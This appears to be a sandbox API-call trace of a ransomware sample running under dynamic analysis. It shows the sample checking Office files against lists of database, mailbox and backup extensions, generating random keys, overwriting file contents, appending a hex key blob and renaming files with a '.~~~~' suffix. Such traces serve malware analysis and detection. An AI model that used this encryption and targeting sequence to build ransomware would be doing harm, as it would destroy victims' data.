	[0145.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".dbs") returned 0x0
	[0145.715] lstrlenW (lpString=".vhdx") returned 5
	[0145.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".vhdx") returned 0x0
	[0145.715] lstrlenW (lpString=".NDF") returned 4
	[0145.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".NDF") returned 0x0
	[0145.715] lstrlenW (lpString=".dat") returned 4
	[0145.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".dat") returned 0x0
	[0145.715] lstrlenW (lpString=".DBS") returned 4
	[0145.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".DBS") returned 0x0
	[0145.715] lstrlenW (lpString=".CKP") returned 4
	[0145.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".CKP") returned 0x0
	[0145.715] lstrlenW (lpString=".edb") returned 4
	[0145.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".edb") returned 0x0
	[0145.715] lstrlenW (lpString=".PST") returned 4
	[0145.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".PST") returned 0x0
	[0145.715] lstrlenW (lpString=".dbf") returned 4
	[0145.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".dbf") returned 0x0
	[0145.716] lstrlenW (lpString=".SQL") returned 4
	[0145.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".SQL") returned 0x0
	[0145.716] lstrlenW (lpString=".pst") returned 4
	[0145.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".pst") returned 0x0
	[0145.716] lstrlenW (lpString=".dbv") returned 4
	[0145.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".dbv") returned 0x0
	[0145.716] lstrlenW (lpString=".SDF") returned 4
	[0145.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".SDF") returned 0x0
	[0145.716] lstrlenW (lpString=".dtxs") returned 5
	[0145.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".dtxs") returned 0x0
	[0145.716] lstrlenW (lpString=".db3") returned 4
	[0145.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".db3") returned 0x0
	[0145.716] lstrlenW (lpString=".OST") returned 4
	[0145.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".OST") returned 0x0
	[0145.716] lstrlenW (lpString=".dbx") returned 4
	[0145.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".dbx") returned 0x0
	[0145.716] lstrlenW (lpString=".DB3") returned 4
	[0145.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".DB3") returned 0x0
	[0145.716] lstrlenW (lpString=".DAT") returned 4
	[0145.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".DAT") returned 0x0
	[0145.716] lstrlenW (lpString=".VHDX") returned 5
	[0145.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".VHDX") returned 0x0
	[0145.716] lstrlenW (lpString=".ndf") returned 4
	[0145.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".ndf") returned 0x0
	[0145.716] lstrlenW (lpString=".DB") returned 3
	[0145.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".DB") returned 0x0
	[0145.716] lstrlenW (lpString=".sql") returned 4
	[0145.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".sql") returned 0x0
	[0145.716] lstrlenW (lpString=".MYD") returned 4
	[0145.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".MYD") returned 0x0
	[0145.716] lstrlenW (lpString=".DBT") returned 4
	[0145.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".DBT") returned 0x0
	[0145.717] lstrlenW (lpString=".ACCDB") returned 6
	[0145.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".ACCDB") returned 0x0
	[0145.717] lstrlenW (lpString=".fdb") returned 4
	[0145.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".fdb") returned 0x0
	[0145.717] lstrlenW (lpString=".bak") returned 4
	[0145.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".bak") returned 0x0
	[0145.717] lstrlenW (lpString=".myd") returned 4
	[0145.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".myd") returned 0x0
	[0145.717] lstrlenW (lpString=".DTXS") returned 5
	[0145.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".DTXS") returned 0x0
	[0145.717] lstrlenW (lpString=".ckp") returned 4
	[0145.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".ckp") returned 0x0
	[0145.717] lstrlenW (lpString=".dbt") returned 4
	[0145.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".dbt") returned 0x0
	[0145.717] lstrlenW (lpString=".db") returned 3
	[0145.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".db") returned 0x0
	[0145.717] lstrlenW (lpString=".TXT") returned 4
	[0145.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".TXT") returned 0x0
	[0145.717] lstrlenW (lpString=".MDF") returned 4
	[0145.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".MDF") returned 0x0
	[0145.717] lstrlenW (lpString=".bdb") returned 4
	[0145.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".bdb") returned 0x0
	[0145.717] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.717] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0145.717] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.717] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3956b8) returned 1
	[0145.718] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.718] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0145.718] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0145.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0145.719] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26570871283) returned 1
	[0145.719] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xc042e6d0, dwHighDateTime=0x1d60e1e)) 
	[0145.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0145.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0145.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0145.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3800e8
	[0145.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3800e8 | out: hHeap=0x300000) returned 1
	[0145.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d0210
	[0145.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c7128
	[0145.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0210 | out: hHeap=0x300000) returned 1
	[0145.719] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0145.719] GetLastError () returned 0x0
	[0145.720] GetLastError () returned 0x0
	[0145.720] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0145.720] GetLastError () returned 0x0
	[0145.720] GetLastError () returned 0x0
	[0145.720] ReadFile (in: hFile=0x10c, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0x579, lpOverlapped=0x0) returned 1
	[0145.736] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffffa87, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.736] WriteFile (in: hFile=0x10c, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x579, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x579, lpOverlapped=0x0) returned 1
	[0145.737] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.737] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.737] WriteFile (in: hFile=0x10c, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.738] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.738] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.738] CloseHandle (hObject=0x10c) returned 1
	[0145.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2870a20
	[0145.839] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdcmpvrd.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDCMPVRD.XML.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wdcmpvrd.xml.~~~~")) returned 1
	[0145.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2870a20 | out: hHeap=0x300000) returned 1
	[0145.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0145.841] GetLastError () returned 0x0
	[0145.841] RtlWakeConditionVariable () returned 0x0
	[0145.841] GetCurrentThreadId () returned 0xaf0
	[0145.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".scr") returned 0x0
	[0145.842] lstrlenW (lpString=".cmd") returned 4
	[0145.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".cmd") returned 0x0
	[0145.842] lstrlenW (lpString=".dll") returned 4
	[0145.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".dll") returned 0x0
	[0145.842] lstrlenW (lpString=".bat") returned 4
	[0145.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".bat") returned 0x0
	[0145.842] lstrlenW (lpString=".cpl") returned 4
	[0145.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".cpl") returned 0x0
	[0145.842] lstrlenW (lpString=".sys") returned 4
	[0145.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".sys") returned 0x0
	[0145.842] lstrlenW (lpString=".msc") returned 4
	[0145.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".msc") returned 0x0
	[0145.842] lstrlenW (lpString=".com") returned 4
	[0145.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".com") returned 0x0
	[0145.842] lstrlenW (lpString=".lnk") returned 4
	[0145.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".lnk") returned 0x0
	[0145.842] lstrlenW (lpString=".msp") returned 4
	[0145.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".msp") returned 0x0
	[0145.842] lstrlenW (lpString=".pif") returned 4
	[0145.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".pif") returned 0x0
	[0145.842] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch="msp\r\n.pif") returned 0x0
	[0145.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0145.851] lstrlenW (lpString=".sqb") returned 4
	[0145.851] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".sqb") returned 0x0
	[0145.851] lstrlenW (lpString=".ost") returned 4
	[0145.851] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".ost") returned 0x0
	[0145.851] lstrlenW (lpString=".txt") returned 4
	[0145.851] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".txt") returned 0x0
	[0145.851] lstrlenW (lpString=".mdt") returned 4
	[0145.851] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".mdt") returned 0x0
	[0145.851] lstrlenW (lpString=".BDB") returned 4
	[0145.851] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".BDB") returned 0x0
	[0145.851] lstrlenW (lpString=".eql") returned 4
	[0145.851] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".eql") returned 0x0
	[0145.852] lstrlenW (lpString=".DBF") returned 4
	[0145.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".DBF") returned 0x0
	[0145.852] lstrlenW (lpString=".EQL") returned 4
	[0145.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".EQL") returned 0x0
	[0145.852] lstrlenW (lpString=".FDB") returned 4
	[0145.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".FDB") returned 0x0
	[0145.852] lstrlenW (lpString=".EDB") returned 4
	[0145.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".EDB") returned 0x0
	[0145.852] lstrlenW (lpString=".DACPAC") returned 7
	[0145.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".DACPAC") returned 0x0
	[0145.852] lstrlenW (lpString=".VHD") returned 4
	[0145.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".VHD") returned 0x0
	[0145.852] lstrlenW (lpString=".DBV") returned 4
	[0145.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".DBV") returned 0x0
	[0145.852] lstrlenW (lpString=".dacpac") returned 7
	[0145.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".dacpac") returned 0x0
	[0145.852] lstrlenW (lpString=".sdf") returned 4
	[0145.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".sdf") returned 0x0
	[0145.852] lstrlenW (lpString=".accdb") returned 6
	[0145.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".accdb") returned 0x0
	[0145.852] lstrlenW (lpString=".DBX") returned 4
	[0145.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".DBX") returned 0x0
	[0145.852] lstrlenW (lpString=".MDT") returned 4
	[0145.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".MDT") returned 0x0
	[0145.852] lstrlenW (lpString=".SQB") returned 4
	[0145.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".SQB") returned 0x0
	[0145.852] lstrlenW (lpString=".vhd") returned 4
	[0145.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".vhd") returned 0x0
	[0145.852] lstrlenW (lpString=".bac") returned 4
	[0145.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".bac") returned 0x0
	[0145.852] lstrlenW (lpString=".mdf") returned 4
	[0145.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".mdf") returned 0x0
	[0145.852] lstrlenW (lpString=".BAK") returned 4
	[0145.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".BAK") returned 0x0
	[0145.853] lstrlenW (lpString=".BAC") returned 4
	[0145.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".BAC") returned 0x0
	[0145.853] lstrlenW (lpString=".dbs") returned 4
	[0145.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".dbs") returned 0x0
	[0145.853] lstrlenW (lpString=".vhdx") returned 5
	[0145.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".vhdx") returned 0x0
	[0145.853] lstrlenW (lpString=".NDF") returned 4
	[0145.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".NDF") returned 0x0
	[0145.853] lstrlenW (lpString=".dat") returned 4
	[0145.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".dat") returned 0x0
	[0145.853] lstrlenW (lpString=".DBS") returned 4
	[0145.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".DBS") returned 0x0
	[0145.853] lstrlenW (lpString=".CKP") returned 4
	[0145.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".CKP") returned 0x0
	[0145.853] lstrlenW (lpString=".edb") returned 4
	[0145.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".edb") returned 0x0
	[0145.853] lstrlenW (lpString=".PST") returned 4
	[0145.853] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".PST") returned 0x0
	[0145.854] lstrlenW (lpString=".dbf") returned 4
	[0145.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".dbf") returned 0x0
	[0145.854] lstrlenW (lpString=".SQL") returned 4
	[0145.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".SQL") returned 0x0
	[0145.854] lstrlenW (lpString=".pst") returned 4
	[0145.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".pst") returned 0x0
	[0145.854] lstrlenW (lpString=".dbv") returned 4
	[0145.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".dbv") returned 0x0
	[0145.854] lstrlenW (lpString=".SDF") returned 4
	[0145.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".SDF") returned 0x0
	[0145.854] lstrlenW (lpString=".dtxs") returned 5
	[0145.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".dtxs") returned 0x0
	[0145.854] lstrlenW (lpString=".db3") returned 4
	[0145.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".db3") returned 0x0
	[0145.854] lstrlenW (lpString=".OST") returned 4
	[0145.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".OST") returned 0x0
	[0145.854] lstrlenW (lpString=".dbx") returned 4
	[0145.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".dbx") returned 0x0
	[0145.854] lstrlenW (lpString=".DB3") returned 4
	[0145.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".DB3") returned 0x0
	[0145.854] lstrlenW (lpString=".DAT") returned 4
	[0145.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".DAT") returned 0x0
	[0145.854] lstrlenW (lpString=".VHDX") returned 5
	[0145.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".VHDX") returned 0x0
	[0145.854] lstrlenW (lpString=".ndf") returned 4
	[0145.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".ndf") returned 0x0
	[0145.854] lstrlenW (lpString=".DB") returned 3
	[0145.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".DB") returned 0x0
	[0145.854] lstrlenW (lpString=".sql") returned 4
	[0145.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".sql") returned 0x0
	[0145.854] lstrlenW (lpString=".MYD") returned 4
	[0145.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".MYD") returned 0x0
	[0145.854] lstrlenW (lpString=".DBT") returned 4
	[0145.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".DBT") returned 0x0
	[0145.855] lstrlenW (lpString=".ACCDB") returned 6
	[0145.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".ACCDB") returned 0x0
	[0145.855] lstrlenW (lpString=".fdb") returned 4
	[0145.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".fdb") returned 0x0
	[0145.855] lstrlenW (lpString=".bak") returned 4
	[0145.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".bak") returned 0x0
	[0145.855] lstrlenW (lpString=".myd") returned 4
	[0145.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS", lpSrch=".myd") returned 0x0
	[0145.855] lstrlenW (lpString=".DTXS") returned 5
